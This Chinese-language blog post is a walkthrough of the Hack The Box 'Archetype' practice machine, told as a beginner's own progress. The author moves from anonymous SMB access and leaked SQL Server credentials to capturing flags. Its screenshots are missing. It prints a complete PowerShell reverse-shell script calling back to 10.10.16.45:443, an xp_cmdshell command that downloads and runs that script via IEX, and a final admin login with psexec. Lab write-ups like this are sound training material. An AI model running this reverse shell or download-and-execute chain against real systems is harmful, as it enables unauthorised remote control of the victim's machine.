Black-Horse

Hack The Box - Archetype

攻略的话在靶场内都有,也有官方的攻略,我作为一个技术小白,只是想把自己的通关过程记录下来,没有网站内大佬们写得好。

准备工作就不过多赘述,如果有不清楚的请点这里(Hack The Box - 如何开始。

我们获得了一个IP:

 

尝试访问了一下,应该不存在web页面:

 

 

 对常规端口进行一个扫描:

 

 

 

 可以看到开启了445和1433,SMB和SQL Sever的,我们可以尝试一下是否能够匿名访问:关于smbclient的用法,可以参考这里。

 

 

 我们来查看一下backups:

 

 

 看一下这个文件里有什么:

 

 

 

 

 

 

 我们获得了一个账号和密码,推测可能是SQL Sever的,我们可以尝试一下:

这里我试了很多方法,也尝试看攻略,但是最终都是失败了,攻略上使用的是Impacket的mssqlclient.py,但是我在kali中使用的时候就是各种报错,很奇怪,或许是我不懂得怎么使用得原因,最终我也是使用了Impacket的mssqlclient.py,但是我是在windows上使用的,通过frp在windows和kali之间建立隧道,以达到windows能够访问靶场的目的,如果大家有其他的办法,方便的话请告诉我,我也想学习学习。

 

 

使用proxifier代理:

 

 

 

 

 

 

 

 

到这里,我们可以试试反弹shell:(将这个代码写入到一个文件内,后缀是.ps1,这里用的是powershell的反弹shell)

$client = New-Object System.Net.Sockets.TCPClient("10.10.16.45",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data= (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

这里写自己的IP,挂上VPN之后,我们会有一个,就写这个:

 

 

 

 在存放这个文件的目录内用python开一个服务:

 

 

 

 再开一个窗口,开一个监听:(端口设置刚才代码里写的那个)

在SQL Sever 中输入以下代码,反弹shell成功:

EXEC xp_cmdshell 'echo IEX (New-Object Net.WebClient).DownloadString("http://10.10.16.45/shell.ps1") | powershell -noprofile'

 

 接下来就是翻找flag:(就在这里)

 

 这里还有另一个宝贝:(是一个administrator的密码,远程连接)

 

 远程连接直接上,因为靶机没有开3389,所以我们利用Impacket里的psexec.py:

 

另一个flag:

 

 到此,就结束啦。

 

posted @ 2021-04-26 19:46  Black--Horse  阅读(872)  评论(0编辑  收藏  举报